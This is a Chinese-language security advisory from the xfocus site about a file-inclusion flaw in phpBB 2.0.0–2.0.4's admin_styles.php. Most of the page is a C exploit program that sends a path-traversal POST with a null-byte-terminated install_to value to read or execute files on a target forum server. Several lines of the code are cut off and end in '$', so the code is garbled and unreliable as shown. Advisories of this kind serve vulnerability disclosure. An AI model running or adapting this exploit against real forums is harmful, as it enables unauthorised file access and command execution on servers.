xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

PHPBB Admin_Styles.PHP Theme_Info.CFG文件包含漏洞


发布时间:2003-06-16
更新时间:2003-06-16
严重程度:
威胁程度:普通用户访问权限
错误类型:输入验证错误
利用方式:服务器模式

BUGTRAQ ID:7932

受影响系统
phpBB Group phpBB 2.0 .0
phpBB Group phpBB 2.0.1
phpBB Group phpBB 2.0.2
phpBB Group phpBB 2.0.3
phpBB Group phpBB 2.0.4
详细描述
phpBB是流行的论坛程序。

在/admin/admin_styles.php脚本中包含如下代码:

include($phpbb_root_path. "templates/" . $install_to ."/theme_info.cfg");

攻击者可以随意设置$install_to参数,因此通过指定包含远程服务器上的恶意文件,攻击者可以在系统上执行任意命令。

测试代码
****************************************************************************
**
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

int main()
{
        //The socket stuff
        struct hostent *hp;
        struct sockaddr_in sa;
        int sock;

        //The input stuff
        char server[100];
        char location[100];
        char sfile[100];
        int escapes;
        char* file;

        //The request stuff
        char* request;
        char* postdata;
        char* header;

        //The buffer to store the response
        char buffer[4096];
        int tworeturns = 0;
        int showing = 0;

        //Other
        int i;

        //Ask the server
        printf("Server: ");
        scanf("%100s", server);
        printf("Forum location: ");
        scanf("%100s", location);
        printf("Directories to escape: ");
        scanf("%i", &escapes);
        printf("File to get/execute: ");
        scanf("%100s", sfile);


        //Start the exploit!
        printf("\n\nStarting the exploit...\n");

        //Connect to the server
        printf("Creating socket... ");
        if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
        {
                printf("Failed!\n");
                return 0;
        } else{
                printf("Done!\n");
        }


        printf("Looking up server IP... ");
        if((hp = gethostbyname((char*)server)) == NULL)
        {
                printf("Failed!\n");
                return 0;
        } else {
                printf("Done!\n");
        }


        printf("Connecting %s:80... ", server);
        memcpy(&sa.sin_addr, hp->h_addr_list[0], hp->h_length);
        sa.sin_family = AF_INET;
        sa.sin_port = htons(80);
        if(connect(sock, (struct sockaddr*)&sa, sizeof(sa)))
        {
                printf("Failed!\n");
                return 0;
        } else {
                printf("Done!\n");
        }


        //Create the request
        printf("Building request... ");

        //Create the postdata
        file = (char*)malloc(sizeof(char) * (escapes * 3 + strlen(sfile) +
1));

        while(escapes > 0)
        {
                if(escapes == 1)
                {
                        sprintf(file, "%s%s%s", file, "..", sfile);
                } else {
                        sprintf(file, "%s%s", file, "../");
                }

                escapes --;
        }

        postdata = (char*)malloc((27 + strlen(file)) * sizeof(char));
        sprintf(postdata, "send_file= &install_to=%s%s00", file, "%");

        header = (char*)malloc((170 + strlen(server) + strlen(location)) *
size$
        sprintf(header, "POST /%s/admin/admin_styles.php?mode=addnew
HTTP/1.1\r$

        request = (char*)malloc((strlen(postdata) + strlen(header) + 1) *
sizeo$
        sprintf(request, "%s%s", header, postdata);

        printf("Done!\n");


        //Send the request
        printf("Sending request... ");
        write(sock, request, strlen(request));
        printf("Done!\n");

        printf("\nResponse:\n");
        //Get the response
        while(recv(sock, buffer, 4096, 0) != 0)
        {
                for(i = 0; i < strlen(buffer); i++)
                {
                        //Only show the character when it should
                        if(showing == 1)
                        {
                                printf("%c", buffer[i]);
                        }


                        //Stop showing from \n<br>\n
                        if(buffer[i] == '\n' && buffer[i + 1] == '<' &&
buffer[$
                        {
                                showing = 0;
                                tworeturns = 0;
                        }
                        //Or from \n<br />\n
                        if(buffer[i] == '\n' && buffer[i + 1] == '<' &&
buffer[$
                        {
                                showing = 0;
                                tworeturns = 0;
                        }


                        //If there's a return and tworeturns = true, start
show$
                        if(buffer[i] == '\n' && tworeturns == 1)
                        {
                                showing = 1;
                        }

                        //If there are two returns, set tworeturns to true
and $
                        if(buffer[i] == '\r' && buffer[i + 1] == '\n' &&
buffer$
                        {
                                tworeturns = 1;
                                i += 3;
                        }
                }
        }
        printf("\n");

        return 0;
}

解决方案
尚无

相关信息
Gerben van der Lubbe <gerben_van_der_lubbe@hotmail.com>.
参考:http://groups.google.ca/groups?q=phpBulletinBoard+php+injection+vulnerability&hl=en&lr=&ie=UTF-8&oe=UTF-8&selm=3eed811f%240%2476751%241b62eedf%40news.wanadoo.nl&rnum=1
相关主页:http://www.phpbb.com/